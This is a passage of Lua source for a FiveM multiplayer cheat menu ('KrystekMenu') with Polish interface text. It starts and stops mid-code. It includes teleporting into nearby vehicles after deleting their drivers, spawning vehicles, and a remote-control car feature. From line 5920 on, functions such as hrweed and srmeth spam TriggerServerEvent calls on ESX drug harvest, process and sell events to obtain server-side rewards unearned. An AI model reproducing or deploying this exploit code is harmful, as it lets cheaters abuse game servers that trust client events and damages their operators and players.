  5435. local c0 = GetEntityCoords(ax, true)
  5436. local c1 = GetClosestVehicle(GetEntityCoords(ax, true), 1000.0, 0, 4)
  5437. local c2 = GetEntityCoords(c1, true)
  5438. local c3 = GetClosestVehicle(GetEntityCoords(ax, true), 1000.0, 0, 16384)
  5439. local c4 = GetEntityCoords(c3, true)
  5440. av('~y~Czekaj...', false)
  5441. Citizen.Wait(1000)
  5442. if c1 == 0 and c3 == 0 then
  5443. av('~b~Nie znaleziono pojazdu', true)
  5444. elseif c1 == 0 and c3 ~= 0 then
  5445. if IsVehicleSeatFree(c3, -1) then
  5446. SetPedIntoVehicle(ax, c3, -1)
  5447. SetVehicleAlarm(c3, false)
  5448. SetVehicleDoorsLocked(c3, 1)
  5449. SetVehicleNeedsToBeHotwired(c3, false)
  5450. else
  5451. local c5 = GetPedInVehicleSeat(c3, -1)
  5452. ClearPedTasksImmediately(c5)
  5453. SetEntityAsMissionEntity(c5, 1, 1)
  5454. DeleteEntity(c5)
  5455. SetPedIntoVehicle(ax, c3, -1)
  5456. SetVehicleAlarm(c3, false)
  5457. SetVehicleDoorsLocked(c3, 1)
  5458. SetVehicleNeedsToBeHotwired(c3, false)
  5459. end
  5460. av('~g~Teleportowano do pobliskiego pojazdu!', false)
  5461. elseif c1 ~= 0 and c3 == 0 then
  5462. if IsVehicleSeatFree(c1, -1) then
  5463. SetPedIntoVehicle(ax, c1, -1)
  5464. SetVehicleAlarm(c1, false)
  5465. SetVehicleDoorsLocked(c1, 1)
  5466. SetVehicleNeedsToBeHotwired(c1, false)
  5467. else
  5468. local c5 = GetPedInVehicleSeat(c1, -1)
  5469. ClearPedTasksImmediately(c5)
  5470. SetEntityAsMissionEntity(c5, 1, 1)
  5471. DeleteEntity(c5)
  5472. SetPedIntoVehicle(ax, c1, -1)
  5473. SetVehicleAlarm(c1, false)
  5474. SetVehicleDoorsLocked(c1, 1)
  5475. SetVehicleNeedsToBeHotwired(c1, false)
  5476. end
  5477. av('~g~Teleportowano do pobliskiego pojazdu!!', false)
  5478. elseif c1 ~= 0 and c3 ~= 0 then
  5479. if Vdist(c2.x, c2.y, c2.z, c0.x, c0.y, c0.z) < Vdist(c4.x, c4.y, c4.z, c0.x, c0.y, c0.z) then
  5480. if IsVehicleSeatFree(c1, -1) then
  5481. SetPedIntoVehicle(ax, c1, -1)
  5482. SetVehicleAlarm(c1, false)
  5483. SetVehicleDoorsLocked(c1, 1)
  5484. SetVehicleNeedsToBeHotwired(c1, false)
  5485. else
  5486. local c5 = GetPedInVehicleSeat(c1, -1)
  5487. ClearPedTasksImmediately(c5)
  5488. SetEntityAsMissionEntity(c5, 1, 1)
  5489. DeleteEntity(c5)
  5490. SetPedIntoVehicle(ax, c1, -1)
  5491. SetVehicleAlarm(c1, false)
  5492. SetVehicleDoorsLocked(c1, 1)
  5493. SetVehicleNeedsToBeHotwired(c1, false)
  5494. end
  5495. elseif Vdist(c2.x, c2.y, c2.z, c0.x, c0.y, c0.z) > Vdist(c4.x, c4.y, c4.z, c0.x, c0.y, c0.z) then
  5496. if IsVehicleSeatFree(c3, -1) then
  5497. SetPedIntoVehicle(ax, c3, -1)
  5498. SetVehicleAlarm(c3, false)
  5499. SetVehicleDoorsLocked(c3, 1)
  5500. SetVehicleNeedsToBeHotwired(c3, false)
  5501. else
  5502. local c5 = GetPedInVehicleSeat(c3, -1)
  5503. ClearPedTasksImmediately(c5)
  5504. SetEntityAsMissionEntity(c5, 1, 1)
  5505. DeleteEntity(c5)
  5506. SetPedIntoVehicle(ax, c3, -1)
  5507. SetVehicleAlarm(c3, false)
  5508. SetVehicleDoorsLocked(c3, 1)
  5509. SetVehicleNeedsToBeHotwired(c3, false)
  5510. end
  5511. end
  5512. av('~g~Teleportowano do pobliskiego pojazdu!!', false)
  5513. end
  5514. end
  5515. local function c6()
  5516. if DoesBlipExist(GetFirstBlipInfoId(8)) then
  5517. local c7 = GetBlipInfoIdIterator(8)
  5518. local blip = GetFirstBlipInfoId(8, c7)
  5519. WaypointCoords = Citizen.InvokeNative(0xFA7C7F0AADF25D09, blip, Citizen.ResultAsVector())
  5520. wp = true
  5521. else
  5522. av('~b~Brak znacznika!', true)
  5523. end
  5524. local c8 = 0.0
  5525. height = 1000.0
  5526. while wp do
  5527. Citizen.Wait(0)
  5528. if wp then
  5529. if
  5530. IsPedInAnyVehicle(GetPlayerPed(-1), 0) and
  5531. GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1) == GetPlayerPed(-1)
  5532. then
  5533. entity = GetVehiclePedIsIn(GetPlayerPed(-1), 0)
  5534. else
  5535. entity = GetPlayerPed(-1)
  5536. end
  5537. SetEntityCoords(entity, WaypointCoords.x, WaypointCoords.y, height)
  5538. FreezeEntityPosition(entity, true)
  5539. local c9 = GetEntityCoords(entity, true)
  5540. if c8 == 0.0 then
  5541. height = height - 25.0
  5542. SetEntityCoords(entity, c9.x, c9.y, height)
  5543. bool, c8 = GetGroundZFor_3dCoord(c9.x, c9.y, c9.z, 0)
  5544. else
  5545. SetEntityCoords(entity, c9.x, c9.y, c8)
  5546. FreezeEntityPosition(entity, false)
  5547. wp = false
  5548. height = 1000.0
  5549. c8 = 0.0
  5550. av('~g~Teleportowano do znacznika!', false)
  5551. break
  5552. end
  5553. end
  5554. end
  5555. end
  5556. local function ca()
  5557. local cb = KeyboardInput('Wprowadz nazwe pojazdu', '', 100)
  5558. if cb and IsModelValid(cb) and IsModelAVehicle(cb) then
  5559. RequestModel(cb)
  5560. while not HasModelLoaded(cb) do
  5561. Citizen.Wait(0)
  5562. end
  5563. local veh =
  5564. CreateVehicle(
  5565. GetHashKey(cb),
  5566. GetEntityCoords(PlayerPedId(-1)),
  5567. GetEntityHeading(PlayerPedId(-1)),
  5568. true,
  5569. true
  5570. )
  5571. SetPedIntoVehicle(PlayerPedId(-1), veh, -1)
  5572. else
  5573. av('~b~~h~Nie ma takiego pojazdu!', true)
  5574. end
  5575. end
  5576. local function cc()
  5577. SetVehicleFixed(GetVehiclePedIsIn(GetPlayerPed(-1), false))
  5578. SetVehicleDirtLevel(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0.0)
  5579. SetVehicleLights(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
  5580. SetVehicleBurnout(GetVehiclePedIsIn(GetPlayerPed(-1), false), false)
  5581. Citizen.InvokeNative(0x1FD09E7390A74D54, GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
  5582. SetVehicleUndriveable(vehicle, false)
  5583. end
  5584. local function cd()
  5585. SetVehicleEngineHealth(vehicle, 1000)
  5586. Citizen.InvokeNative(0x1FD09E7390A74D54, GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
  5587. SetVehicleUndriveable(vehicle, false)
  5588. end
  5589. local function ce()
  5590. KrystekMenu.StartRC()
  5591. end
  5592. KrystekMenu.StartRC = function()
  5593. if DoesEntityExist(KrystekMenu.Entity) then
  5594. return
  5595. end
  5596. KrystekMenu.SpawnRC()
  5597. KrystekMenu.Tablet(true)
  5598. while DoesEntityExist(KrystekMenu.Entity) and DoesEntityExist(KrystekMenu.Driver) do
  5599. Citizen.Wait(5)
  5600. local cf = GetDistanceBetweenCoords(GetEntityCoords(PlayerPedId()), GetEntityCoords(KrystekMenu.Entity), true)
  5601. KrystekMenu.DrawInstructions(cf)
  5602. KrystekMenu.HandleKeys(cf)
  5603. if cf <= 3000.0 then
  5604. if not NetworkHasControlOfEntity(KrystekMenu.Driver) then
  5605. NetworkRequestControlOfEntity(KrystekMenu.Driver)
  5606. elseif not NetworkHasControlOfEntity(KrystekMenu.Entity) then
  5607. NetworkRequestControlOfEntity(KrystekMenu.Entity)
  5608. end
  5609. else
  5610. TaskVehicleTempAction(KrystekMenu.Driver, KrystekMenu.Entity, 6, 2500)
  5611. end
  5612. end
  5613. end
  5614. KrystekMenu.HandleKeys = function(cf)
  5615. if IsControlJustReleased(0, 47) then
  5616. if IsCamRendering(KrystekMenu.Camera) then
  5617. KrystekMenu.ToggleCamera(false)
  5618. else
  5619. KrystekMenu.ToggleCamera(true)
  5620. end
  5621. end
  5622. if cf <= 3.0 then
  5623. if IsControlJustPressed(0, 38) then
  5624. KrystekMenu.Attach('pick')
  5625. end
  5626. end
  5627. if cf < 3000.0 then
  5628. if IsControlPressed(0, 172) and not IsControlPressed(0, 173) then
  5629. TaskVehicleTempAction(KrystekMenu.Driver, KrystekMenu.Entity, 9, 1)
  5630. end
  5631. if IsControlJustReleased(0, 172) or IsControlJustReleased(0, 173) then
  5632. TaskVehicleTempAction(KrystekMenu.Driver, KrystekMenu.Entity, 6, 2500)
  5633. end
  5634. if IsControlPressed(0, 173) and not IsControlPressed(0, 172) then
  5635. TaskVehicleTempAction(KrystekMenu.Driver, KrystekMenu.Entity, 22, 1)
  5636. end
  5637. if IsControlPressed(0, 174) and IsControlPressed(0, 173) then
  5638. TaskVehicleTempAction(KrystekMenu.Driver, KrystekMenu.Entity, 13, 1)
  5639. end
  5640. if IsControlPressed(0, 175) and IsControlPressed(0, 173) then
  5641. TaskVehicleTempAction(KrystekMenu.Driver, KrystekMenu.Entity, 14, 1)
  5642. end
  5643. if IsControlPressed(0, 172) and IsControlPressed(0, 173) then
  5644. TaskVehicleTempAction(KrystekMenu.Driver, KrystekMenu.Entity, 30, 100)
  5645. end
  5646. if IsControlPressed(0, 174) and IsControlPressed(0, 172) then
  5647. TaskVehicleTempAction(KrystekMenu.Driver, KrystekMenu.Entity, 7, 1)
  5648. end
  5649. if IsControlPressed(0, 175) and IsControlPressed(0, 172) then
  5650. TaskVehicleTempAction(KrystekMenu.Driver, KrystekMenu.Entity, 8, 1)
  5651. end
  5652. if IsControlPressed(0, 174) and not IsControlPressed(0, 172) and not IsControlPressed(0, 173) then
  5653. TaskVehicleTempAction(KrystekMenu.Driver, KrystekMenu.Entity, 4, 1)
  5654. end
  5655. if IsControlPressed(0, 175) and not IsControlPressed(0, 172) and not IsControlPressed(0, 173) then
  5656. TaskVehicleTempAction(KrystekMenu.Driver, KrystekMenu.Entity, 5, 1)
  5657. end
  5658. if IsControlJustReleased(0, 168) then
  5659. SetVehicleEngineOn(KrystekMenu.Entity, not GetIsVehicleEngineRunning(KrystekMenu.Entity), false, true)
  5660. end
  5661. end
  5662. end
  5663. KrystekMenu.DrawInstructions = function(cf)
  5664. local cg = {
  5665. {
  5666. ['label'] = 'W prawo',
  5667. ['button'] = '~INPUT_CELLPHONE_RIGHT~'
  5668. },
  5669. {
  5670. ['label'] = 'Do przodu',
  5671. ['button'] = '~INPUT_CELLPHONE_UP~'
  5672. },
  5673. {
  5674. ['label'] = 'Do tylu',
  5675. ['button'] = '~INPUT_CELLPHONE_DOWN~'
  5676. },
  5677. {
  5678. ['label'] = 'W lewo',
  5679. ['button'] = '~INPUT_CELLPHONE_LEFT~'
  5680. }
  5681. }
  5682. local ch = {
  5683. ['label'] = 'Usun Auto',
  5684. ['button'] = '~INPUT_CONTEXT~'
  5685. }
  5686. local cj = {
  5687. {
  5688. ['label'] = 'Zmien Kamere',
  5689. ['button'] = '~INPUT_DETONATE~'
  5690. },
  5691. {
  5692. ['label'] = 'On/Off Silnik',
  5693. ['button'] = '~INPUT_SELECT_CHARACTER_TREVOR~'
  5694. }
  5695. }
  5696. if cf <= 3000.0 then
  5697. for ck = 1, #cg do
  5698. local cl = cg[ck]
  5699. table.insert(cj, cl)
  5700. end
  5701. if cf <= 3000.0 then
  5702. table.insert(cj, ch)
  5703. end
  5704. end
  5705. Citizen.CreateThread(
  5706. function()
  5707. local cm = RequestScaleformMovie('instructional_buttons')
  5708. while not HasScaleformMovieLoaded(cm) do
  5709. Wait(0)
  5710. end
  5711. PushScaleformMovieFunction(cm, 'CLEAR_ALL')
  5712. PushScaleformMovieFunction(cm, 'TOGGLE_MOUSE_BUTTONS')
  5713. PushScaleformMovieFunctionParameterBool(0)
  5714. PopScaleformMovieFunctionVoid()
  5715. for ck, cn in ipairs(cj) do
  5716. PushScaleformMovieFunction(cm, 'SET_DATA_SLOT')
  5717. PushScaleformMovieFunctionParameterInt(ck - 1)
  5718. PushScaleformMovieMethodParameterButtonName(cn['button'])
  5719. PushScaleformMovieFunctionParameterString(cn['label'])
  5720. PopScaleformMovieFunctionVoid()
  5721. end
  5722. PushScaleformMovieFunction(cm, 'DRAW_INSTRUCTIONAL_BUTTONS')
  5723. PushScaleformMovieFunctionParameterInt(-1)
  5724. PopScaleformMovieFunctionVoid()
  5725. DrawScaleformMovieFullscreen(cm, 255, 255, 255, 255)
  5726. end
  5727. )
  5728. end
  5729. KrystekMenu.SpawnRC = function()
  5730. local cb = KeyboardInput('Wprowadz nazwe pojazdu', '', 100)
  5731. if cb and IsModelValid(cb) and IsModelAVehicle(cb) then
  5732. RequestModel(cb)
  5733. while not HasModelLoaded(cb) do
  5734. Citizen.Wait(0)
  5735. end
  5736. KrystekMenu.LoadModels(
  5737. {
  5738. GetHashKey(cb),
  5739. 68070371
  5740. }
  5741. )
  5742. local co, cp =
  5743. GetEntityCoords(PlayerPedId()) + GetEntityForwardVector(PlayerPedId()) * 2.0,
  5744. GetEntityHeading(PlayerPedId())
  5745. KrystekMenu.Entity = CreateVehicle(GetHashKey(cb), co, cp, true)
  5746. while not DoesEntityExist(KrystekMenu.Entity) do
  5747. Citizen.Wait(5)
  5748. end
  5749. KrystekMenu.Driver = CreatePed(5, 68070371, co, cp, true)
  5750. SetEntityInvincible(KrystekMenu.Driver, true)
  5751. SetEntityVisible(KrystekMenu.Driver, false)
  5752. FreezeEntityPosition(KrystekMenu.Driver, true)
  5753. SetPedAlertness(KrystekMenu.Driver, 0.0)
  5754. TaskWarpPedIntoVehicle(KrystekMenu.Driver, KrystekMenu.Entity, -1)
  5755. while not IsPedInVehicle(KrystekMenu.Driver, KrystekMenu.Entity) do
  5756. Citizen.Wait(0)
  5757. end
  5758. KrystekMenu.Attach('place')
  5759. av('~g~~h~Gotowe', false)
  5760. else
  5761. av('~b~~h~Nie ma takiego pojazdu!', true)
  5762. end
  5763. end
  5764. KrystekMenu.Attach = function(aw)
  5765. if not DoesEntityExist(KrystekMenu.Entity) then
  5766. return
  5767. end
  5768. KrystekMenu.LoadModels(
  5769. {
  5770. 'pickup_object'
  5771. }
  5772. )
  5773. if aw == 'place' then
  5774. AttachEntityToEntity(
  5775. KrystekMenu.Entity,
  5776. PlayerPedId(),
  5777. GetPedBoneIndex(PlayerPedId(), 28422),
  5778. 3.0,
  5779. 0.0,
  5780. 0.5,
  5781. 70.0,
  5782. 0.0,
  5783. 270.0,
  5784. 1,
  5785. 1,
  5786. 0,
  5787. 0,
  5788. 2,
  5789. 1
  5790. )
  5791. Citizen.Wait(200)
  5792. DetachEntity(KrystekMenu.Entity, false, true)
  5793. PlaceObjectOnGroundProperly(KrystekMenu.Entity)
  5794. elseif aw == 'pick' then
  5795. if DoesCamExist(KrystekMenu.Camera) then
  5796. KrystekMenu.ToggleCamera(false)
  5797. end
  5798. KrystekMenu.Tablet(false)
  5799. Citizen.Wait(100)
  5800. DetachEntity(KrystekMenu.Entity)
  5801. DeleteVehicle(KrystekMenu.Entity)
  5802. DeleteEntity(KrystekMenu.Driver)
  5803. KrystekMenu.UnloadModels()
  5804. end
  5805. end
  5806. KrystekMenu.Tablet = function(cq)
  5807. if cq then
  5808. KrystekMenu.LoadModels(
  5809. {
  5810. GetHashKey('prop_cs_tablet')
  5811. }
  5812. )
  5813. KrystekMenu.LoadModels(
  5814. {
  5815. 'amb@code_human_in_bus_passenger_idles@female@tablet@idle_a'
  5816. }
  5817. )
  5818. Citizen.CreateThread(
  5819. function()
  5820. while DoesEntityExist(KrystekMenu.TabletEntity) do
  5821. Citizen.Wait(5)
  5822. if
  5823. not IsEntityPlayingAnim(
  5824. PlayerPedId(),
  5825. 'amb@code_human_in_bus_passenger_idles@female@tablet@idle_a',
  5826. 'idle_a',
  5827. 3
  5828. )
  5829. then
  5830. end
  5831. end
  5832. ClearPedTasks(PlayerPedId())
  5833. end
  5834. )
  5835. else
  5836. DeleteEntity(KrystekMenu.TabletEntity)
  5837. end
  5838. end
  5839. KrystekMenu.ToggleCamera = function(cq)
  5840. if not true then
  5841. return
  5842. end
  5843. if cq then
  5844. if not DoesEntityExist(KrystekMenu.Entity) then
  5845. return
  5846. end
  5847. if DoesCamExist(KrystekMenu.Camera) then
  5848. DestroyCam(KrystekMenu.Camera)
  5849. end
  5850. KrystekMenu.Camera = CreateCam('DEFAULT_SCRIPTED_CAMERA', true)
  5851. AttachCamToEntity(KrystekMenu.Camera, KrystekMenu.Entity, 0.0, 0.0, 0.4, true)
  5852. Citizen.CreateThread(
  5853. function()
  5854. while DoesCamExist(KrystekMenu.Camera) do
  5855. Citizen.Wait(5)
  5856. SetCamRot(KrystekMenu.Camera, GetEntityRotation(KrystekMenu.Entity))
  5857. end
  5858. end
  5859. )
  5860. local cr =
  5861. 500 *
  5862. math.ceil(
  5863. GetDistanceBetweenCoords(GetEntityCoords(PlayerPedId()), GetEntityCoords(KrystekMenu.Entity), true) / 10
  5864. )
  5865. RenderScriptCams(1, 1, cr, 1, 1)
  5866. Citizen.Wait(cr)
  5867. SetTimecycleModifier('scanline_cam_cheap')
  5868. SetTimecycleModifierStrength(2.0)
  5869. else
  5870. local cr =
  5871. 500 *
  5872. math.ceil(
  5873. GetDistanceBetweenCoords(GetEntityCoords(PlayerPedId()), GetEntityCoords(KrystekMenu.Entity), true) / 10
  5874. )
  5875. RenderScriptCams(0, 1, cr, 1, 0)
  5876. Citizen.Wait(cr)
  5877. ClearTimecycleModifier()
  5878. DestroyCam(KrystekMenu.Camera)
  5879. end
  5880. end
  5881. KrystekMenu.LoadModels = function(cs)
  5882. for ct = 1, #cs do
  5883. local bB = cs[ct]
  5884. if not KrystekMenu.CachedModels then
  5885. KrystekMenu.CachedModels = {}
  5886. end
  5887. table.insert(KrystekMenu.CachedModels, bB)
  5888. if IsModelValid(bB) then
  5889. while not HasModelLoaded(bB) do
  5890. RequestModel(bB)
  5891. Citizen.Wait(10)
  5892. end
  5893. else
  5894. while not HasAnimDictLoaded(bB) do
  5895. RequestAnimDict(bB)
  5896. Citizen.Wait(10)
  5897. end
  5898. end
  5899. end
  5900. end
  5901. KrystekMenu.UnloadModels = function()
  5902. for ct = 1, #KrystekMenu.CachedModels do
  5903. local bB = KrystekMenu.CachedModels[ct]
  5904. if IsModelValid(bB) then
  5905. SetModelAsNoLongerNeeded(bB)
  5906. else
  5907. RemoveAnimDict(bB)
  5908. end
  5909. end
  5910. end
  5911. local function cu()
  5912. local ax = GetPlayerPed(-1)
  5913. local ay = GetVehiclePedIsIn(ax, true)
  5914. local m = KeyboardInput('Wprowadz nazwe rejestracji', '', 100)
  5915. if m ~= '' then
  5916. SetVehicleNumberPlateText(ay, m)
  5917. end
  5918. end
  5919.  
  5920. function hrweed()
  5921. TriggerServerEvent('esx_drugs:startHarvestWeed')
  5922. TriggerServerEvent('esx_drugs:startHarvestWeed')
  5923. TriggerServerEvent('esx_drugs:startHarvestWeed')
  5924. TriggerServerEvent('esx_drugs:startHarvestWeed')
  5925. TriggerServerEvent('esx_drugs:startHarvestWeed')
  5926. TriggerServerEvent('ab04ca47-305b-4b5c-8736-007541557345')
  5927. TriggerServerEvent('ab04ca47-305b-4b5c-8736-007541557345')
  5928. TriggerServerEvent('ab04ca47-305b-4b5c-8736-007541557345')
  5929. TriggerServerEvent('ab04ca47-305b-4b5c-8736-007541557345')
  5930. TriggerServerEvent('ab04ca47-305b-4b5c-8736-007541557345')
  5931. end
  5932.  
  5933. function trweed()
  5934. TriggerServerEvent('esx_drugs:startTransformWeed')
  5935. TriggerServerEvent('esx_drugs:startTransformWeed')
  5936. TriggerServerEvent('esx_drugs:startTransformWeed')
  5937. TriggerServerEvent('esx_drugs:startTransformWeed')
  5938. TriggerServerEvent('esx_drugs:startTransformWeed')
  5939. TriggerServerEvent('f97ad213-ec8b-4669-919c-6c82ec858f76')
  5940. TriggerServerEvent('f97ad213-ec8b-4669-919c-6c82ec858f76')
  5941. TriggerServerEvent('f97ad213-ec8b-4669-919c-6c82ec858f76')
  5942. TriggerServerEvent('f97ad213-ec8b-4669-919c-6c82ec858f76')
  5943. TriggerServerEvent('f97ad213-ec8b-4669-919c-6c82ec858f76')
  5944. end
  5945.  
  5946. function srweed()
  5947. TriggerServerEvent('esx_drugs:startSellWeed')
  5948. TriggerServerEvent('esx_drugs:startSellWeed')
  5949. TriggerServerEvent('esx_drugs:startSellWeed')
  5950. TriggerServerEvent('esx_drugs:startSellWeed')
  5951. TriggerServerEvent('esx_drugs:startSellWeed')
  5952. TriggerServerEvent('0ff9142c-56ee-4e84-b0f6-2d5688556a7c')
  5953. TriggerServerEvent('0ff9142c-56ee-4e84-b0f6-2d5688556a7c')
  5954. TriggerServerEvent('0ff9142c-56ee-4e84-b0f6-2d5688556a7c')
  5955. TriggerServerEvent('0ff9142c-56ee-4e84-b0f6-2d5688556a7c')
  5956. TriggerServerEvent('0ff9142c-56ee-4e84-b0f6-2d5688556a7c')
  5957. end
  5958.  
  5959. function hrcoke()
  5960. TriggerServerEvent('esx_drugs:startHarvestCoke')
  5961. TriggerServerEvent('esx_drugs:startHarvestCoke')
  5962. TriggerServerEvent('esx_drugs:startHarvestCoke')
  5963. TriggerServerEvent('esx_drugs:startHarvestCoke')
  5964. TriggerServerEvent('esx_drugs:startHarvestCoke')
  5965. TriggerServerEvent('429cae3d-64df-4fff-ba69-583bfea57e91')
  5966. TriggerServerEvent('429cae3d-64df-4fff-ba69-583bfea57e91')
  5967. TriggerServerEvent('429cae3d-64df-4fff-ba69-583bfea57e91')
  5968. TriggerServerEvent('429cae3d-64df-4fff-ba69-583bfea57e91')
  5969. TriggerServerEvent('429cae3d-64df-4fff-ba69-583bfea57e91')
  5970. end
  5971.  
  5972. function trcoke()
  5973. TriggerServerEvent('esx_drugs:startTransformCoke')
  5974. TriggerServerEvent('esx_drugs:startTransformCoke')
  5975. TriggerServerEvent('esx_drugs:startTransformCoke')
  5976. TriggerServerEvent('esx_drugs:startTransformCoke')
  5977. TriggerServerEvent('esx_drugs:startTransformCoke')
  5978. TriggerServerEvent('a70925bb-04b7-498c-93ef-4f50445a045e')
  5979. TriggerServerEvent('a70925bb-04b7-498c-93ef-4f50445a045e')
  5980. TriggerServerEvent('a70925bb-04b7-498c-93ef-4f50445a045e')
  5981. TriggerServerEvent('a70925bb-04b7-498c-93ef-4f50445a045e')
  5982. TriggerServerEvent('a70925bb-04b7-498c-93ef-4f50445a045e')
  5983. end
  5984.  
  5985. function srcoke()
  5986. TriggerServerEvent('esx_drugs:startSellCoke')
  5987. TriggerServerEvent('esx_drugs:startSellCoke')
  5988. TriggerServerEvent('esx_drugs:startSellCoke')
  5989. TriggerServerEvent('esx_drugs:startSellCoke')
  5990. TriggerServerEvent('esx_drugs:startSellCoke')
  5991. TriggerServerEvent('17bf06bf-ba6c-46b7-8be0-6971a0771e5e')
  5992. TriggerServerEvent('17bf06bf-ba6c-46b7-8be0-6971a0771e5e')
  5993. TriggerServerEvent('17bf06bf-ba6c-46b7-8be0-6971a0771e5e')
  5994. TriggerServerEvent('17bf06bf-ba6c-46b7-8be0-6971a0771e5e')
  5995. TriggerServerEvent('17bf06bf-ba6c-46b7-8be0-6971a0771e5e')
  5996. end
  5997.  
  5998. function hrmeth()
  5999. TriggerServerEvent('esx_drugs:startHarvestMeth')
  6000. TriggerServerEvent('esx_drugs:startHarvestMeth')
  6001. TriggerServerEvent('esx_drugs:startHarvestMeth')
  6002. TriggerServerEvent('esx_drugs:startHarvestMeth')
  6003. TriggerServerEvent('esx_drugs:startHarvestMeth')
  6004. TriggerServerEvent('c4855320-e45d-4fd2-85a0-7bbb41da3490')
  6005. TriggerServerEvent('c4855320-e45d-4fd2-85a0-7bbb41da3490')
  6006. TriggerServerEvent('c4855320-e45d-4fd2-85a0-7bbb41da3490')
  6007. TriggerServerEvent('c4855320-e45d-4fd2-85a0-7bbb41da3490')
  6008. TriggerServerEvent('c4855320-e45d-4fd2-85a0-7bbb41da3490')
  6009. end
  6010.  
  6011. function trmeth()
  6012. TriggerServerEvent('esx_drugs:startTransformMeth')
  6013. TriggerServerEvent('esx_drugs:startTransformMeth')
  6014. TriggerServerEvent('esx_drugs:startTransformMeth')
  6015. TriggerServerEvent('esx_drugs:startTransformMeth')
  6016. TriggerServerEvent('esx_drugs:startTransformMeth')
  6017. TriggerServerEvent('34595ec2-1eb2-48a6-8ebe-82a67f751f54')
  6018. TriggerServerEvent('34595ec2-1eb2-48a6-8ebe-82a67f751f54')
  6019. TriggerServerEvent('34595ec2-1eb2-48a6-8ebe-82a67f751f54')
  6020. TriggerServerEvent('34595ec2-1eb2-48a6-8ebe-82a67f751f54')
  6021. TriggerServerEvent('34595ec2-1eb2-48a6-8ebe-82a67f751f54')
  6022. end
  6023.  
  6024. function srmeth()
  6025. TriggerServerEvent('esx_drugs:startSellMeth')
  6026. TriggerServerEvent('esx_drugs:startSellMeth')
  6027. TriggerServerEvent('esx_drugs:startSellMeth')
  6028. TriggerServerEvent('esx_drugs:startSellMeth')
  6029. TriggerServerEvent('esx_drugs:startSellMeth')
  6030. TriggerServerEvent('a2f7e1e7-219a-4a6b-b728-c6375a1297ff')
  6031. TriggerServerEvent('a2f7e1e7-219a-4a6b-b728-c6375a1297ff')
  6032. TriggerServerEvent('a2f7e1e7-219a-4a6b-b728-c6375a1297ff')
  6033. TriggerServerEvent('a2f7e1e7-219a-4a6b-b728-c6375a1297ff')
  6034. TriggerServerEvent('a2f7e1e7-219a-4a6b-b728-c6375a1297ff')
  6035. end
  6036.  
  6037. function hropi()
  6038. TriggerServerEvent('esx_drugs:startHarvestOpium')
  6039. TriggerServerEvent('esx_drugs:startHarvestOpium')
  6040. TriggerServerEvent('esx_drugs:startHarvestOpium')
  6041. TriggerServerEvent('esx_drugs:startHarvestOpium')
  6042. TriggerServerEvent('esx_drugs:startHarvestOpium')
  6043. TriggerServerEvent('9e01dbde-8526-4953-bde7-8293b76ca4db')
  6044. TriggerServerEvent('9e01dbde-8526-4953-bde7-8293b76ca4db')
  6045. TriggerServerEvent('9e01dbde-8526-4953-bde7-8293b76ca4db')
  6046. TriggerServerEvent('9e01dbde-8526-4953-bde7-8293b76ca4db')
  6047. TriggerServerEvent('9e01dbde-8526-4953-bde7-8293b76ca4db')
  6048.  
  6049. end
  6050.  
  6051. function tropi()
  6052. TriggerServerEvent('esx_drugs:startTransformOpium')
  6053. TriggerServerEvent('esx_drugs:startTransformOpium')
  6054. TriggerServerEvent('esx_drugs:startTransformOpium')
  6055. TriggerServerEvent('esx_drugs:startTransformOpium')
  6056. TriggerServerEvent('esx_drugs:startTransformOpium')
  6057. TriggerServerEvent('a9eb5393-7bb2-423a-930f-35a08e75cce9')
  6058. TriggerServerEvent('a9eb5393-7bb2-423a-930f-35a08e75cce9')
  6059. TriggerServerEvent('a9eb5393-7bb2-423a-930f-35a08e75cce9')
  6060. TriggerServerEvent('a9eb5393-7bb2-423a-930f-35a08e75cce9')
  6061. TriggerServerEvent('a9eb5393-7bb2-423a-930f-35a08e75cce9')
  6062. end
  6063.  
  6064. function sropi()
  6065. TriggerServerEvent('esx_drugs:startSellOpium')
  6066. TriggerServerEvent('esx_drugs:startSellOpium')
  6067. TriggerServerEvent('esx_drugs:startSellOpium')
  6068. TriggerServerEvent('esx_drugs:startSellOpium')
  6069. TriggerServerEvent('esx_drugs:startSellOpium')
  6070. TriggerServerEvent('ba5ffb46-4f93-4fc6-afda-22ea968ee316')
  6071. TriggerServerEvent('ba5ffb46-4f93-4fc6-afda-22ea968ee316')
  6072. TriggerServerEvent('ba5ffb46-4f93-4fc6-afda-22ea968ee316')
  6073. TriggerServerEvent('ba5ffb46-4f93-4fc6-afda-22ea968ee316')
  6074. TriggerServerEvent('ba5ffb46-4f93-4fc6-afda-22ea968ee316')
  6075. end
  6076.  
  6077. function hrjab()
  6078. TriggerServerEvent('smerfikcraft:jabkoser')
  6079. TriggerServerEvent('smerfikcraft:jabkoser')
  6080. TriggerServerEvent('smerfikcraft:jabkoser')
  6081. TriggerServerEvent('smerfikcraft:jabkoser')
  6082. TriggerServerEvent('smerfikcraft:jabkoser')
  6083. TriggerServerEvent('218d74fe-ea9c-45ca-87c7-114297e0b005')
  6084. TriggerServerEvent('218d74fe-ea9c-45ca-87c7-114297e0b005')
  6085. TriggerServerEvent('218d74fe-ea9c-45ca-87c7-114297e0b005')
  6086. TriggerServerEvent('218d74fe-ea9c-45ca-87c7-114297e0b005')
  6087. TriggerServerEvent('218d74fe-ea9c-45ca-87c7-114297e0b005')
  6088. end
  6089.  
  6090. function trjab()
  6091. TriggerServerEvent('smerfikjablka:soki')
  6092. TriggerServerEvent('smerfikjablka:soki')
  6093. TriggerServerEvent('smerfikjablka:soki')
  6094. TriggerServerEvent('smerfikjablka:soki')
  6095. TriggerServerEvent('smerfikjablka:soki')
  6096. TriggerServerEvent('3c77c699-81ff-453a-bdd8-7a5c9cda3465')
  6097. TriggerServerEvent('3c77c699-81ff-453a-bdd8-7a5c9cda3465')
  6098. TriggerServerEvent('3c77c699-81ff-453a-bdd8-7a5c9cda3465')
  6099. TriggerServerEvent('3c77c699-81ff-453a-bdd8-7a5c9cda3465')
  6100. TriggerServerEvent('3c77c699-81ff-453a-bdd8-7a5c9cda3465')
  6101. end
  6102.  
  6103. function srjab()
  6104. TriggerServerEvent('smerfikcraft:skup')
  6105. TriggerServerEvent('2777c1f9-0e3f-4d16-b0e9-f50c8bfd75b1')
  6106. end
  6107.  
  6108. function hrgrz()
  6109. TriggerServerEvent('esx_grzyb:startHarvestgrzyb')
